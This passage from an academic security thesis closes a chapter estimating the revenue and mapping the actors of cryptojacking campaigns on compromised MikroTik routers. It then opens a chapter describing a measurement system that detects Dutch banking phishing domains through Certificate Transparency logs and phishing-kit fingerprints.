such common connections over time, matching our earlier observation about the link
between the aforementioned three siteKeys as discussed in § 3.5.4.

3.6. DISCUSSION

The analysis of the tactics, techniques, and procedures of the actors demonstrated dif-
ferent levels of sophistication. This section translates flow volume into a revenue estima-
tion per campaign, and finally, we review the previous findings and use them to describe
the ecosystem of cryptojackers and their differences in sophistication.
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3.6.1. QUANTIFICATION OF REVENUE
Previous sections already suggested that MITM-based cryptomining operates at an en-
tirely different scale than previously reported attack vectors. This is due to three reasons:

1. The volume of compromised entities is much higher. Instead of a few thousand
websites [29, 101, 199, 205], here a total of 1.4M infected routers is involved. In-
stead of mining on the web browsers of the users who visit one of the select in-
fected websites, the MITM attack vector through routers would greatly amplify
earnings, as cryptomining is introduced into any web page visited by any user
connected behind an infected router.

2. MikroTik uses the vulnerable RouterOS on consumer-grade and carrier-grade de-
vices. A carrier-grade router will likely serve significant user populations and, thus,
within a short time, amass large volumes of revenue.

3. While 30% of all website-based cryptomining is removed within 15 days [101], we
find that 30% of the MITM-based mining remains active for more than 50 days.
Although routers are often patched quickly, the pool of vulnerable devices is so
large that it barely affects the installation base.

In this section, we extend the previous results towards a quantification of adversarial
revenue per siteKey using this new attack vector. Unfortunately, as we have shown in
§ 3.5.4, most mining is deployed through a cryptojacking service, such as Coinhive or
Omine. This prevents us from performing a similar analysis to that of Huang et al. [103],
who queried the (Bitcoin) mining pools directly to estimate the profits of a campaign. In
our analysis, only 3 of the 140 discovered siteKeys were mining directly in a mining pool.
However, we can leverage our datasets and use the same method established by Konoth
et al. [127] to conduct a quantification for a direct comparison with website-based min-
ing but make some adjustments for the shifted attack vector. For their analysis, Konoth
et al. built a three-step estimation model:

• Estimation of monthly visitors and visit duration: They estimate visitor count and
the average time spent for the 1,705 cryptomining websites they detected to be
cryptojacking based on visitor statistics from SimilarWeb [220].

• Average computing power of visitors in hash rate per second: Cryptocurrency is
mined during the visit to the website. They measured the hash rate of two desktop
CPUs and 16 mobile devices and determined an average rate of 40.5 and 14.56 per
second, respectively. Afterward, information on MineCryptoNight [162] is used to
convert that to X MR/s.

• Current value of cryptocurrency: The overall mining power of the visitors is
then mapped to and monetized in Monero cryptocurrency, which was valued at
$253/X MR at that time. Based on this value, the top 10 grossing actors generated
an overall revenue of some $41,000 per month.

In the following analysis, we are following the same equation:

traffic [# flows]×avg. time [s]×mining rate [XMR/s]× value [$/XMR] = profit [$]
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Table 3.6: Cryptojacking revenue estimation parameters.

Parameter Methodology in [127] This study

Number of visitors SimilarWeb estimations # of NetFlows on port 80
Average hashing rate SimilarWeb estimations desktop / mobile: 25 H/s
Monero market value $ 253 as of May ‘18 $ 253 for equal comparison
Time on website SimilarWeb estimations Average, 1st / 3rd quartile

but adjust them for the specific attack vector observed. First, our NetFlow traces allow for
an extrapolation of the actual number of HTTP connections on port 80, and we attribute
the count of flows to the revenues of a siteKey installed on the proxy page at that time.
While the embedded miners also work for iframed-HTTPS connections, we did not find
evidence that this attack was pursued in the wild. This will thus be a lower bound on the
amount of traffic.

Second, Konoth et al. estimated average visiting times for each of their 1,705 de-
tected websites using SimilarWeb data, but the MITM attack works across all pages of
the Internet. As the actual end point of the outgoing connection has been anonymized
for privacy, we can approximate the average visiting time as we query the average visiting
duration of websites listed in the Alexa Top 10k – the 10,000 most popular websites – on
SimilarWeb. The average visiting time for these websites is 293 seconds. For our calcula-
tion, we will work with three values for visit duration to provide a range of the revenues
made by the attackers: the average visiting time, as well as the first and third quartiles of
visit durations. Yet, the highly conservative estimation based on the first quartile already
highlights the magnitude of this new attack vector. Table 3.6 compares the parameters
used in [127] compared to our study.

Third, Konoth et al. [127] also used SimilarWeb data to estimate the hashing rate for
both mobile and desktop visitors, being 14.56 and 40.5, respectively. We estimated the
hashing rate based on the desktop/mobile device ratio found across the Internet as a
whole, which is listed in [62] as 0.58, resulting in a weighted hash rate of 25 H/s. Since
we want to compare the profitability of MITM-based to website-based cryptojacking, we
could either compare the amount of Monero mined or translate the Monero amount into
more intuitive currency such as USD. Currency exchange rates are, however, volatile, and
in between Konoth’s May 2018 study and our study, the average Monero price dropped
during August and December 2018 to $92.2/XMR. To compare both attack vectors side
by side, we thus use the same exchange rate as in [127], which still makes a fair compar-
ison, as the decline would have equally scaled down the revenues attackers could have
generated using website-based mining during our observation period. Even if we scale
the revenue down with the declined value of Monero, the MITM-based revenues would
still be a factor of 10 higher than the website-based earnings made half a year earlier.

Based on the parameters chosen above, Table 3.7 shows the estimated monthly rev-
enues for the top 10 grossing actors for the average visit duration on the Alexa 10K, as well
as the first and third quartile. As we can see, in the average case, the top 10 campaigns to-
tal a profit exceeding $1,200,000 per month, in which the highest grossing siteKey earns
$222K. To put this into perspective, the 10 most successful campaigns that are deploying
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Table 3.7: Estimated monthly revenue of top 10 grossing actors based on the average visit duration on the
Alexa Top 10K, as well as the first and third quartile according to SimilarWeb.

SiteKey
Total # First quartile Median Third quartile

routers 2’27" stay 4’53” stay 6’19" stay

48zUYB 52,181 $111,447.18 $222,136.22 $287,336.61
6a9929 30,135 $97,626.82 $194,589.52 $251,704.53
8C7UoT 47,981 $90,532.54 $180,449.21 $233,413.82
BOvlp3 49,640 $82,573.82 $164,585.92 $212,894.42
4983e3 117,502 $70,017.28 $139,558.26 $180,520.75
FgWWtJ 39,384 $50,719.01 $101,092.99 $130,765.33
J3rjnv 45,934 $40,551.39 $80,826.92 $104,550.86
hsFAjj 223,844 $35,396.11 $70,551.44 $91,259.37
BT9k5D 8,459 $31,494.11 $62,773.97 $81,199.10
wjORhf 42,342 $27,671.96 $55,155.67 $71,344.70

Total top 10 $638,030.22 $1,271,720.11 $1,644,989.49

cryptojacking by installing miners on the websites themselves (for example, by hack-
ing the site) were reported by [127] to yield monthly revenues of $41,000. Cryptojacking
through an MITM attack on routers is thus a factor of 30 more lucrative than previously
observed attack vectors, and the most successful MITM actor earns 5x more revenue
than the top 10 website-based cryptojackers combined.

In our analysis above, we have seen the different roles the actors have played in the
development and rollout of this attack vector and the different levels of innovation they
have embraced. Curiously, we find that innovation and a first-mover advantage do not
manifest in earnings. The actor operating hsFAjj, who was among the first, dominated
proxying and controlled extensive infrastructure, did not translate this advantage into
earnings at the same rate as, for example, the key 6a9929, who would pick up data on
vulnerable routers from public lists to roll out infections. Also, the number of infected
routers is not necessarily an indicator of the amount of revenue an adversary has gener-
ated, as the size (and thus also the type) of the router matters more than the number of
compromised devices. Table 3.7 also lists the total number of routers a particular siteKey
ever had under its control during the 10-month study, and we clearly see that the volume
of routers is not an adequate predictor of monetary success. Another unexpected story
emerges when we look at the routers that are providing the most revenue. Out of the top
10 most grossing routers, 6 are located in Iraq, and one each in Turkey, France, Brazil,
and the Netherlands, which is counterintuitive, looking at the worldwide distribution of
MikroTik installations shown earlier in Figure 3.4.

3.6.2. CHARTING THE ECOSYSTEM OF ACTORS
Examining the life cycle of router infections, we observe different levels of sophistica-
tion in every stage. In the identification stage, we notice a clear distinction between
siteKeys installed as a result of scanning and infection based on public sources, such as
Shodan. In the exploitation of the routers, we observe a constantly changing landscape
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in which actors regularly infect new devices and steal from each other. After infection,
a limited number of actors demonstrate a high level of sophistication by setting up an
infrastructure. To monetize the hijacked routers, actors initially set up HTTP proxies but
subsequently increased their revenues by installing SOCKS proxies with cryptojacking
scripts. The used cryptomining scripts diverge to multiple services, and we notice a con-
tinuous flow of router infections and removals. Clear geographical differences in mining
characteristics are identified, where Brazil and Indonesia are the most infected, while
Iraq seems to have the most lucrative infrastructure to infect. Observed maintenance
patterns show that specific, anonymized IPs can be linked by behavior to siteKeys.

RELATING ACTORS AND SITEKEYS

Based on the results of the different independent components analyzed in the previous
sections, we are able to link certain siteKeys to each other and/or to IPs. To start with,
three siteKeys hsFAjj, SK_LCx, oDcuak show similar behavior as the same infrastructural
patterns can be found on routers infected with these siteKeys, as well as regular contacts
with the same set of attacker IPs for maintenance over SSH. Figure 3.8 confirms this hy-
pothesis by showing numerous routers transitioning between those siteKeys. Interest-
ingly, the analysis of SOCKS traffic also links J3rjnv to this set. Additionally, this figure
depicts the sophistication level of the actor behind siteKey 4983e3, as this actor hijacks
vulnerable routers infected with numerous other siteKeys, but subsequently changes his
own siteKey to a masked variant, as listed in Listing 3.2. Revisiting Figure 3.11, which
shows 4 clear sequential blocks of 10 siteKeys having similar installation sizes and evo-
lutionary patterns. This, in combination with the aforementioned figure, which shows
5 clear siteKey transition chains, an even larger number of siteKeys can be linked to one
single adversary. By following each siteKey within these transition chains in Figure 3.8,
we noticed that these transitions resemble transitions between the sequential blocks in
Figure 3.11. All the siteKeys in the transition chains are located inside these blocks in
the same sequence. For each of the siteKeys inside these four blocks, the first two blocks
(highlighted in green in Figure 3.11) use a Coinhive miner, with the uncommon option
CoinHive.FORCE_EXCLUSIVE_TAB enabled, and the latter two (highlighted in yellow)
use Omine as a mining service. Additionally, all 40 mining scripts within these blocks
were set to the same throttle value of 0.1. As a result, this common behavior across mul-
tiple siteKeys strongly suggests that we can thus link these 40 siteKeys to one single actor.

3.7. CONCLUSION
In this chapter, we have reported on a new attack vector for cryptojacking, which does
not infect websites but compromises Internet infrastructure itself. This vector greatly
overshadows any cryptojacking campaigns known to date by orders of magnitude in in-
stallation size, and we find groups of actors compromising a total of 1.4M vulnerable
routers, approximately 70% of all deployed MikroTik routers, with various degrees of so-
phistication. As the injection of miners into network traffic affects any user visiting any
website, we find this attack vector to be highly profitable, estimated to exceed $1,200,000
per month in revenue for the top 10 actors. Curiously, we find that innovation and the
first-mover advantage do not pay off in terms of revenue made. The highest-grossing
actors are not the ones creating new monetization options, deploying sophisticated in-



3

82 EXAMINING CRYPTOJACKING ON COMPROMISED INFRASTRUCTURE

frastructure, or creating the largest deployment, but those finding the most productive
niche where they can operate relatively undisturbed. In April 2019, Interpol began an
investigation into the cryptojacking campaigns using MikroTik routers to investigate the
perpetrators, clean up the infected routers, and take the supporting infrastructure out
of service [175]. To assist with this effort, the research team has shared the results and
additional outcomes with the involved law enforcement agencies.
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INVESTIGATING THE DUTCH

PHISHING LANDSCAPE

Off-the-shelf, easy-to-deploy phishing kits are believed to lower the threshold for criminal
entrepreneurs going phishing. That is, the practice of harvesting user credentials by trick-
ing victims into disclosing these on fraudulent websites. But, how do these kits impact the
phishing landscape? And, how often are they used? We leverage the use of TLS certificates
by phishers to uncover possible Dutch phishing domains aimed at the financial sector be-
tween September 2020 and January 2021. We collect 70 different Dutch phishing kits in
the underground economy and identify 10 distinct kit families. We create unique finger-
prints of these kits to measure their prevalence in the wild. With this novel method, we
identify 1,363 Dutch phishing domains that deploy these phishing kits and capture their
end-to-end life cycle – from domain registration and kit deployment to take-down. We
find the median uptime of phishing domains to be just 24 hours, indicating that phishers
do act fast. Our analysis of the deployed phishing kits reveals that only a small number of
different kits are in use. We discover that phishers increase their luring capabilities by us-
ing decoy pages to trick victims into disclosing their credentials. In this chapter, we paint
a comprehensive picture of the tactics, techniques, and procedures (TTP) prevalent in the
Dutch phishing landscape and present public policy takeaways for anti-phishing initia-
tives.

This chapter has been published as: Bijmans, H.L.J., Booij, T.M., Schwedersky, A., Nedgabat, A. & van Wegberg,
R.S. (2021). “Catching Phishers By Their Bait: Investigating the Dutch Phishing Landscape through Phishing
Kit Detection”. In Proceedings of the 30th USENIX Security Symposium (USENIX Security ’21).
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4.1. INTRODUCTION
Phishing is a pervasive type of social engineering that harvests user credentials by trick-
ing targets into disclosing personal or financial information – e.g., credit card details –
on a fraudulent website. Deploying a phishing website has become trivial with so-called
‘phishing kits’, which can be bought, leased, or even downloaded for free in the under-
ground economy – like dark net markets [161], social media platforms, or secure mes-
saging services like Telegram [147]. A phishing kit contains full-fledged phishing web-
sites [49], mimicking popular banks or financial service providers. Phished credentials
are exfiltrated either through e-mail [240] or collected within an administrator panel. As
phishing attacks are often tailored to a specific audience and country [221], understand-
ing the impact of phishing kits on the entire landscape should be investigated per lin-
guistic or geographical area to create coherent insights on phishing tactics, techniques,
and procedures (TTP). This specific focus aligns with earlier work finding that deployed
phishing kits often victimize a particular audience and target banks in a single coun-
try [98].

Given our information position in the Dutch cybercrime ecosystem, enabling us to
capture the supply of phishing kits, we take phishing targeted at the Dutch financial sec-
tor as the focus of our research. The Dutch retail banking sector is very concentrated,
as just three large retail banks and a few smaller ones make up the entire market [12].
More importantly, they all primarily service customers through online banking, which is
therefore widespread and popular in The Netherlands [30].

While executing a phishing attack has become quite simple, responding swiftly and
adequately to this phenomenon is far from trivial. By the time phishing domains are re-
ported to law enforcement agencies (LEA), many of them are already offline. They can
be either taken down by the phishers themselves or by hosting providers, often initi-
ated by notice-and-takedown requests by banks whose clients get phished. All of this
makes phishing campaign attribution rather difficult, as the window wherein evidence
can be collected closes fast. To overcome this challenge, it is essential to proactively de-
tect phishing domains and get a minute-to-minute overview of the phishing landscape.
Measuring the scale and operations is crucial for defining robust countermeasures and
deploying them before these attacks can cause any harm. Additionally, the recent adop-
tion of SMS and WhatsApp as a means of phishing message delivery [176] has sped up
the execution of these attacks even more. Therefore, decreasing the time between the
start of the attack and detection – before the arrival of the first victim – is crucial. In this
chapter, we present a novel, multi-stage method to detect phishing domains at scale in
real-time, capture their attributes, and identify the presence of phishing kits.

We leverage the fact that many phishing domains are secured by TLS connections [8]
and that newly issued X.509 certificates can be monitored in real-time by observing Cer-
tificate Transparency Logs [89]. By continuously monitoring these logs for ‘phishy’ do-
mains and subsequently crawling them, we create a dataset of potential malignant do-
mains. By fingerprinting parts of the source code and structure of gathered phishing kits,
we measure their prevalence in the wild by detecting these fingerprints on live phishing
domains. We group related kits into families, analyze their deployments, and gain more
insights into the TTP used by these phishers.

Our analyses aim to create an overview of the impact of off-the-shelf kits on the
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Dutch phishing landscape and to identify commonly used TTP. In this chapter, we make
the following contributions:

• We present the first empirical, longitudinal measurement study of the end-to-end
life cycle of Dutch phishing campaigns.

• We collect 70 different Dutch phishing kits, identify 10 different families, and cre-
ate unique fingerprints in order to examine the prevalence of these kits in the wild.

• We leverage the use of TLS certificates by phishers and Certificate Transparency
Logs to find 1,363 confirmed Dutch phishing domains deploying these kits be-
tween September 2020 and January 2021.

• We compile a comprehensive overview of the Dutch phishing landscape, including
commonly used (decoy) tactics, phishing kit characteristics, and preferred hosting
providers.

The remainder of this chapter is structured as follows: We analyze the anatomy of a
phishing campaign in § 4.2, explain our methodology in § 4.3, and present our results
in the subsequent sections. In § 4.4, we discuss the results of our analysis on gathered
phishing kits. In § 4.5, we examine the domains used by phishers and show how phish-
ing kits are deployed in § 4.6. We benchmark and validate our methodology with external
data in § 4.7 and depict the end-to-end life cycle of phishing campaigns with an example
in § 4.8. An overview of related work on phishing measurements and phishing kit analy-
sis is given in § 4.9. Finally, we critically discuss our results and methods in § 4.10, share
our public policy takeaways, and conclude our work in § 4.11.

4.2. ANATOMY OF A PHISHING CAMPAIGN
A successful phishing expedition results from many crucial steps a phisher needs to take
successively. In this section, we examine common techniques to lure in victims and
make them disclose their credentials. Next, we depict the complete end-to-end life cycle
of a typical phishing campaign. We end this section with the scope of our work before
we elaborate on our measurement methodology.

4.2.1. LURING IN VICTIMS
The chances of successfully executing a phishing attack are highly dependent on the
credibility of the phishing message – the bait. Therefore, phishers use a wide range of
techniques and narratives to craft sophisticated phishing messages to trick victims into
disclosing their credentials without thinking twice. We can analyze such techniques by
utilizing the work of Robert Cialdini, the author of The Psychology of Persuasion, who
identified several principles that explain how ‘mental shortcuts’ can be exploited for the
persuasion of others [36]. Recent work by Van der Heijden & Allodi [247] employed Cial-
dini’s principles on phishing e-mails and have shown that scarcity – time is limited, so
the victim should act quickly – and consistency – the victim is already a customer of
this bank, so communication is expected – are the most popular persuasion techniques
among phishers.
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Figure 4.1: Luring technique with a decoy landing page and various fake banking login pages – a so-called
multipanel.

Although the contents of e-mails or text messages are unknown when analyzing
phishing websites, we were able to identify these two principles on pages included in
the various phishing kits we examine in § 4.4, as persuasion techniques are exemplified
there. Like a request to pay additional shipping costs for postal packages (scarcity), an
identification request for DigiD – the Dutch online identity to interact with governmen-
tal organizations (consistency) – or a request to return debit cards to the bank for safe
destruction and renewal (both scarcity and consistency). We noticed that, besides the
traditional approach of demanding a victim to log in to their online banking account
directly, attackers also deployed more subtle, multi-staged approaches. The first two
examples are part of such an approach that phishers follow to improve the credibility
of their attack. In such a staged approach, victims are directed towards a decoy page
like one of the aforementioned examples first, as shown schematically in Figure 4.1.
There are no user credentials harvested on this page, but the victim is directed to a
page on which various banks can be chosen to initiate further steps eventually. As the
victim is already on a ‘trusted’ website, it will likely be less observant. Any irregularities
are unlikely to be spotted, making disclosing credentials to one of the fake bank login
pages deployed by phishers the final step of the fall trap. Phishing kits employing these
techniques and containing templates for multiple banks are called multipanels, which
we will examine in more detail in § 4.4.

4.2.2. END-TO-END LIFE CYCLE OF A PHISHING CAMPAIGN

Whether or not advanced luring techniques are used, the steps to set up a phishing cam-
paign are nearly identical. A typical phishing attack consists of five steps, which we il-
lustrate in Figure 4.2. First, a phisher has to obtain a phishing kit that contains a website
created to trick victims into disclosing their credentials. Although phishers could make
this website themselves, it is much easier to deploy an off-the-shelf phishing kit that con-
tains all the necessary resources. These phishing kits can be obtained through various
sources, such as dark net markets [248] and online forums, but they have become avail-
able on public chat applications like Telegram [147] as well. Second, the phisher needs
a domain where the phishing website is located. This can either be done by hijacking an
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insecure and unrelated website – no costs, more effort – or by simply registering a new
domain name – small costs, less effort. Third, when a new domain is registered and a
phishing kit is obtained, the phisher needs a Web hosting provider to store the phishing
kit files. Consequently, phishers often rent a Virtual Private Server (VPS), which allows
them to install a Web server capable of hosting their website. Fourth, to make the phish-
ing website look even more legitimate, the attacker acquires an X.509 (TLS) certificate to
create a secure connection between the victim and the website over HTTPS. According to
the Anti-Phishing Working Group, 78% of all phishing in 2020 is served over HTTPS [8].
This practice plays into the expectation of Internet users to observe a (green) padlock
icon in the browser’s address bar when visiting their bank’s website – to indicate a se-
cure connection. As Google Chrome started marking Web pages served over HTTP as
‘not secure’ in September 2018 [212], potential victims could hesitate to fill in their cre-
dentials when the website is not served over a secure connection. Obtaining these TLS
certificates is easy and often free through certificate authorities like Let’s Encrypt [141].
With the website in place, the phisher delivers the bait to potential victims by e-mail,
text message, or through other means and waits for victims to fill in their credentials.

As we will show in § 4.4, these steps are often explained in great detail by the supplier
of phishing kits, allowing their ‘customers’ to easily set up a phishing website themselves.
We, on the other hand, examined these steps in the life cycle of a phishing campaign and
identified the fourth step, obtaining the TLS certificate, as a valuable data source for de-
tecting potential phishing domains. More importantly, this is also the only real-time and
public data source available to us. For the remainder of this chapter, we follow the steps
in this life cycle to present and structure our findings. As the work on examinations and
observations of phishing websites in the wild is limited [167, 183] and insights into the
complete life cycle of a phishing campaign, combined with thorough phishing kit anal-
ysis, are absent, we designed and implemented a measurement system to monitor and
analyze the Dutch phishing landscape. The focus on this one consumer market is logi-
cal, as Han et al. [98] stated that phishing victims often originate from the same country,
which underlines the necessity for country-specific phishing research. Likewise, earlier
work on this topic highlighted the fast disappearance of phishing domains [183], making
attribution rather difficult. Therefore, it is essential to create a system that could assist
law enforcement in quickly responding to these attacks.

4.3. MEASUREMENT METHODOLOGY

To study the Dutch phishing landscape, we follow the life cycle of a phishing campaign,
as explained in the previous section. Our measurement approach consists of the fol-
lowing three steps: 1) collect phishing kits on Telegram employing snowball sampling,
2) identify possible phishing domains based on issued TLS certificates, and 3) crawl the

Acquire 
phishing kit

Acquire
domain name

Acquire 
hosting service

Acquire
TLS certificate

Send out
phishing bait

Figure 4.2: End-to-end life cycle of a phishing campaign.
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Figure 4.3: Architecture of our measurement system

corresponding Web pages to identify the used phishing kit and capture the end-to-end
life cycle of the attack. The methodology used to analyze each of these steps is explained
in the following subsections. We store the data produced by all our measurement steps
in an Elasticsearch instance, together with Kibana for easy data visualization and moni-
toring. The complete measurement system is deployed in Docker containers on a cloud
server as presented in Figure 4.3.

4.3.1. PHISHING KIT ACQUISITION

We use two approaches to gather phishing kits that target Dutch banking clients. First,
we collect phishing kits on public Telegram channels employing a so-called ‘snowball
sampling’ approach. In addition, we automatically download kits from open directories
on crawled phishing domains. We explain both approaches in the following paragraphs.

Telegram is an instant messenger application that allows for secure communications
on multiple platforms. The chat application offers a wide variety of channel types, rang-
ing from public broadcast channels to secret chats, with more security features. Encryp-
tion is applied to all messages, making it difficult to eavesdrop on communications [234].
The ease of use and the high sense of security on Telegram make it popular among crimi-
nals [147] and much easier to use compared to dark net markets or underground forums.
Criminals offer illegal drugs, weapons, and phishing kits on public Telegram channels,
whereas direct messages on the platform allow them to negotiate prices and make deals
with potential customers in private. An example of an advertisement can be found in
Figure 4.4, which shows a vendor offering a fake ING Betaalverzoek (payment request)
decoy page which includes templates for multiple Dutch banks, a so-called multipanel
as we have explained in § 4.2.1.

To gather phishing kits from Telegram, we manually inspected fraud-related Tele-
gram channels, searched for shared phishing kits, and discovered related channels by
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Figure 4.4: Example of a phishing kit offered on Telegram. This vendor offers a phishing-page-for-hire for €75
per week with templates for multiple Dutch banks included – a multipanel.

following shared links in the chat. This snowball approach is a common sampling tech-
nique that allows reaching saturation in data collection when the total population is hid-
den or hard to reach [11]. Our data collection saturated after we did not find any new
links to our sample of public fraud-related Telegram channels (n = 50). Phishing kits
shared in these channels are often free – e.g., as a trial version with limited possibilities
– can be leased for a customized period of time – as is the case in Figure 4.4 – or bought
from the creator or reseller for a fixed price. Kits offered in the latter category are often
shared for free (‘leaked’) afterward to frustrate the seller.

The second approach to obtaining phishing kits is to capture them from suspected
phishing domains. As will be explained in § 4.3.3, we crawl each suspected phishing do-
main, and when such a domain returns an open directory, we follow the same method-
ology as Cova et al. [49], and search for .zip files to find new phishing kits that we then
download automatically. Note, we did not search by trying to guess the names of popular
phishing kit .zip files.

FINGERPRINTING KITS

We manually examined each phishing kit and created fingerprints based on the unique
properties of these kits. Both the file names, including the full path from the root of the
website, as well as strings found on the main page of the website, are used to derive this
fingerprint. For example, uncommon file names are considered good candidates for a
fingerprint. Next, we inspect the domain’s home page to find uncommon strings in the
HTML source code. This could be text shown to the victim, but also invisible HTML
or JavaScript code included on the page. These fingerprints are used by our crawler to
detect the phishing kits deployed on domains in the wild. An example of a phishing kit
with the corresponding fingerprint is shown in Figure 4.5.
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Figure 4.5: Phishing kit file structure and the corresponding fingerprints for both file structure and landing
page strings.

4.3.2. DOMAIN DETECTOR

To discover new phishing domains, we leverage the fact that 78% of all phishing in 2020
is served over HTTPS – which requires the use of X.509 certificates – according to the
Anti-Phishing Working group [8]. As soon as TLS certificates are issued, they appear in
the Transparency Logs Project [89] – a project initiated by Google that collects all issued
X.509 certificates. These logs are designed to audit the validity of these certificates, but
we use this continuous stream of certificates to find new potential phishing domains.
The logs can be monitored continuously using certstream – an intelligence feed that
shares real-time updates from the Certificate Transparency Log network [27]. We thereby
limit ourselves to phishing domains within two of the five categories of the taxonomy
created by Oest et al. [182]. Namely, long, deceptive subdomains (type III) and deceptive
top-level domains (type IV). Since TLS certificates do not contain paths after the domain
name, we can not detect type I and II domains. In addition, as IP addresses – which can
be used within TLS certificates – do not contain potentially malignant words, we are
unable to detect type V phishing domains.

We advance on the certstream Python library [28] to create an application that
monitors these logs for potential phishing domains. Just like Lin et al. [146], we were
inspired by PhishCatcher [256], an open-source PoC demonstrating the possibilities of
finding phishing domains through Certificate Transparency Logs. Our application ana-
lyzes all domains present in each certificate and calculates a score based on the features
listed in Table 4.1, along with their assigned weighted scores. The first feature extracted
is the use of Punycode within the domain name. If that is found, we increase the score
by 30 and normalize the domain name for further analysis by converting the Punycode
symbols to their regular counterparts. For instance, we convert xn-pypl-loac.com to
paypal.com, which we then use in further steps. We increase the score by 20 for do-
mains hosted on the 10 most abused TLDs according to Spamhaus [197]. Afterward,
we split this domain name into words and search for fake TLDs (which could be part
of domain names of targeted Dutch banks, so .com, .nl, .me), brand names (of the 13
targeted Dutch banks) and suspicious keywords (a list of 78 words we made ourselves).
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Table 4.1: Features used to detect potential phishing websites.

Domain feature Example & references Score

Punycode usage xn–pypl-loac.com [79, 148] 30
Suspicious TLDs .xyz, .icu, .top [8, 197] 20
TLD as subdomain x.com.domain.net [8, 145] 20
Brand name brand.domain.net [8, 145] 40-150
Typosquatted brand paypa1.com [125, 145] 0-110
Suspicious keyword login, verify [145, 151] 25-50
Hyphens count brand-n--ame.net [99, 145] 3x
Subdomain count sub.x.domain.net [145, 155] 3x
Free certificate Let’s Encrypt [8, 242] 20
Fake www wwwbrand.com [125] 45

We also identify typosquatted variations of the latter two by searching for words with a
Levenshtein distance of 1 within the domain name. Additionally, we count the number
of hyphens and subdomains and inspect the certificate. The score for domains listed in
a free certificate is increased by 20. For domains included in a (paid) certificate with Ex-
tended Validity, we decrease the score by 100, as we do not expect attackers to pay and
complete the verification process. Finally, we disregard domains from Dutch banks and
a number of cloud service providers through an allowlist to prevent false positives. When
a threshold of 110 is reached, the domain is marked as potentially malicious and added
to the Elasticsearch index along with the extracted features and the complete X.509 cer-
tificate. This threshold was determined after our testing period in June-August 2020 and
was considered a good balance between true and false positives. Do note that we aim to
collect as many potential phishing domains while keeping the number of false positives
manageable. This means that the threshold is not fully optimized to a specific value.
Ultimately, our domain crawler – explained in the next section – is responsible for the
actual identification of phishing domains.

4.3.3. DOMAIN CRAWLER

To find traces of the gathered and fingerprinted phishing kits, we crawl each of the do-
mains detected by our domain detector. Every hour, the crawler retrieves new possi-
ble phishing domains from the Elasticsearch index and starts processing them subse-
quently. First, it determines if the domain is online, and if so, a Firefox browser con-
trolled by the Selenium WebDriver [217] is launched and visits the domain just like a
regular user would. All outgoing Web traffic is routed through a VPN connection to ob-
fuscate our IP address and to easily change our IP address when necessary. While visiting
the Web page, the IP address is resolved, HTML sources are stored, and a screenshot is
taken. The favicon is extracted and hashed using an average hashing function [133],
similar to the method suggested by Geng et al. [82]. They showed that more than 83% of
phishing websites employ fake favicons mimicking the targeted brand or organization.
Geng et al. created an algorithm that is able to identify similar favicons by comparing the
gray values of pixel rows to detect the slightly changed ones. Such hashing is thus per-



4

92 INVESTIGATING THE DUTCH PHISHING LANDSCAPE

2020 2021

Exploration on
Telegram for publicly
available phishing kits

Data collection

Final testing and
making the tool

deployment ready

Deducting
fingerprints

from kits

Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb

TestingTool development

Figure 4.6: Timeline of the creation and testing of our measurement methodology.

ceptual, meaning that small changes in the image result in only minor hash changes. We
used their methods to identify domains that do not mimic one of the targeted brands by
comparing the favicon’s hash to the hashes of Dutch banks favicons (12 different brands,
24 icons in total). A domain is omitted from further analysis when the Hamming dis-
tance between the found hash and all the hashes of Dutch banks differs by more than
10%. If no favicon is present, the domain is analyzed further. Another perceptual hash
is generated for the screenshot of the visited page. This hash is used to spot any differ-
ences on the page since the last visit. If the hash has not changed since the last visit, we
skip further analysis. Otherwise, we continue the analysis by retrieving the WHOIS record,
which reveals the registrar and the creation date of the domain.

Finally, we start the phishing kit identification phase. In this phase, we adopt a
three-layer approach. First, the crawler starts with a search through the list of loaded
resources on the Web page. The format of the fingerprints allows us to search for partial
file path matches within this list of resources. Given the example in Figure 4.5, resource
https://domain.com/rabobank/background.png matches fingerprint rabobank/
background.png. Secondly, we perform a string-based search on the landing page to
find matching string fingerprints – e.g., if the page includes the sentence from Figure 4.5,
it will be detected. To be able to detect phishing kit resources that are not loaded on the
landing page of the website, we perform an extensive search for files and directories on
the server using wFuzz [159], which tries to HTTP GET all resources included in the fin-
gerprint. Given the example in Figure 4.5, resource adminpanel/the_manual.txt is
not loaded on the landing page of the website but can be detected in this third phase.
To harden our detection method against minor changes in phishing kits, we decided to
classify a domain as true phishing and identify it as being made with a particular phish-
ing kit when at least 10% of a fingerprint is found in one of these steps. We removed false
positives due to this low threshold from our dataset manually in § 4.5. Each domain that
is inserted into the Elasticsearch index is monitored on an hourly basis for a maximum
of seven days after the initial analysis.
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4.3.4. DEPLOYMENT AND TESTING
Figure 4.6 gives an overview of the process of deploying our measurement setup and
data collection period. As elaborated on in § 4.3.1, the research started with an explo-
ration of Telegram for phishing kits. These kits were dissected to create fingerprints and
then utilized to detect phishing activity on domains. In parallel, we started building our
measurement system, and as one can see, we dedicated a significant portion of time to
developing, reviewing, and upgrading our deployment.

During our testing phase, newly found phishing kits from open directories are con-
stantly added manually to the crawler application. During this same testing phase, we
also identified five new, unknown phishing kits on domains labeled as potentially mali-
cious by our domain detector. However, the crawler could not find any matching finger-
prints and labeled these domains as potentially phishing. After manual inspection, we
determined that these domains were indeed phishing, and we created fingerprints based
on the characteristics of these live domains, similar to what we did for the phishing kits
in § 4.4.2. We completed this iterative process five times during our testing period and
grouped these phishing kits as unknown. In September 2020, we stopped testing, made
no further changes, and started the data collection.

4.4. PHISHING KIT ANALYSIS
As discussed in § 4.2, phishing campaigns hinge on successful deployment, which can
be made easy with a phishing kit. To collect these kits, we manually inspected public
Telegram channels following a snowball sampling approach and downloaded .zip files
from open directories on potential phishing websites. Our initial search in January 2020
resulted in a collection of 36 phishing kits discovered by manually inspecting 50 pub-
lic Telegram channels. In the following months, we continued to monitor these chan-
nels periodically and gathered yet another 10 phishing kits in May 2020. Additionally, as
explained in § 4.3.3, we automatically downloaded .zip files from open directories on
phishing websites, which resulted in a collection of another 24 phishing kits retrieved in
the period July – December 2020. In total, we gathered 70 different phishing kits, which
we then manually dissected. We analyzed their operating procedures and techniques,
came to understand the anatomy of a typical phishing kit, and clustered their features to
discern phishing kit families. The results of these analyses are outlined in the following
subsections.

4.4.1. ANATOMY OF A PHISHING KIT
A phishing kit consists of many files that together ensure the functionality of the kit when
deployed. Among these files, we typically find:

• Front-end pages impersonate the original login screens of the targeted banks or
can be categorized as decoy landing pages (as explained in § 4.2.1), which direct
the victims to fake login screens afterward.

